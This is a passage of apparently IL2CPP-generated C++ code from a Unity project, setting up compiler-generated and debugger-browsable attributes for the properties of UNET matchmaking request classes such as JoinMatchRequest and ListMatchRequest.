CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_password_mA3A25AEF3994F75CC2663A003D6B762E53470A90(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_password_m1ED11F41F58A9B3C2E87103625D46E4BB497A9AD(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_matchAttributes_m5D65A1EAD26A45C236EDA8FEB400B542093C678E(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_U3CnetworkIdU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_U3CpublicAddressU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_U3CprivateAddressU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_U3CeloScoreU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_U3CpasswordU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_get_networkId_mF41427B1FE3C495530C0C7A366152446613F8B10(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_set_networkId_mA9CA6065937BD62F39138C9869BE6A5B686EA92C(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_get_publicAddress_mE052141FB172D009FE1BDB0F7AC52068A5DF3EE2(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_set_publicAddress_mB837E27EF72F8B9034A5B926F3F969044A9A7093(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_get_privateAddress_m2DE574B58D8A69C731C815E2C46AB5CC3ADF8D8D(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_set_privateAddress_mF07E855D339EE71B24EB95110B579262C74A55F1(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_get_eloScore_mC0238C87F841D7DBD4C06765AD05B8A8A6B2F01E(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_set_eloScore_mDA8EAC91C261AD2C6D6A45AD9F3C0422EEEAB73E(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_get_password_m0E7A0F73B7DB0E41E613A07195C3A7370C863B90(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_set_password_m2096D8C416175CF323600FBD5E1370E83FB8741C(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void DestroyMatchRequest_t3AC8FF769CC153C425D7D76492693F00A76B81D0_CustomAttributesCacheGenerator_U3CnetworkIdU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void DestroyMatchRequest_t3AC8FF769CC153C425D7D76492693F00A76B81D0_CustomAttributesCacheGenerator_DestroyMatchRequest_get_networkId_m9A908C64FB1730FC9198940FE08C380E33C43455(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void DestroyMatchRequest_t3AC8FF769CC153C425D7D76492693F00A76B81D0_CustomAttributesCacheGenerator_DestroyMatchRequest_set_networkId_mC1C51DCC3A6C729D2EF1EB763F56F38CA72FF68A(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void DropConnectionRequest_t0BADA55738E8857768EE57C92027957659C0E8D1_CustomAttributesCacheGenerator_U3CnetworkIdU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void DropConnectionRequest_t0BADA55738E8857768EE57C92027957659C0E8D1_CustomAttributesCacheGenerator_U3CnodeIdU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void DropConnectionRequest_t0BADA55738E8857768EE57C92027957659C0E8D1_CustomAttributesCacheGenerator_DropConnectionRequest_get_networkId_m58D7BA9439346AD5B49293F499BED9C155C652CF(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void DropConnectionRequest_t0BADA55738E8857768EE57C92027957659C0E8D1_CustomAttributesCacheGenerator_DropConnectionRequest_set_networkId_mD980D5276D76AE525984AEC35B6F11A02F30F56C(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void DropConnectionRequest_t0BADA55738E8857768EE57C92027957659C0E8D1_CustomAttributesCacheGenerator_DropConnectionRequest_get_nodeId_m7A1E99C6F45D801A6C6D6BC0F3D18AAC6424F6C8(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void DropConnectionRequest_t0BADA55738E8857768EE57C92027957659C0E8D1_CustomAttributesCacheGenerator_DropConnectionRequest_set_nodeId_mDC0D89F76443E687896E8C8E6EEDF0FA5C2F7C27(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CpageSizeU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CpageNumU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CnameFilterU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CfilterOutPrivateMatchesU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CeloScoreU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CmatchAttributeFilterLessThanU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CmatchAttributeFilterEqualToU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_U3CmatchAttributeFilterGreaterThanU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_pageSize_m0465C7613FBFF54BF422F014F27C26D6CE3AF1E1(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_set_pageSize_mB474132B156ACAFD88EB07D1A9408E79100B43B9(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_pageNum_mA6E74CFB9E814DB86AE540DB0E7CFD9A9637B10E(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_set_pageNum_m3716C07B600678E685711BFCD0B0661B0C842034(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_nameFilter_m3C0481F1E6046D75BCE05B1DD331B183F2CB1401(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_set_nameFilter_mFBBD2943CA68B32FABFACFCA178416CF9AC3BAEA(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_filterOutPrivateMatches_m0827128486C61327991B26DDCE1057BF56395B5A(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_set_filterOutPrivateMatches_m38C559485A9D47FD1A3C5FBC2454DC58B7A9F754(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_eloScore_m7CC5143EAD11A7CB152C7DD89D2DEE0C1E5F56CB(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
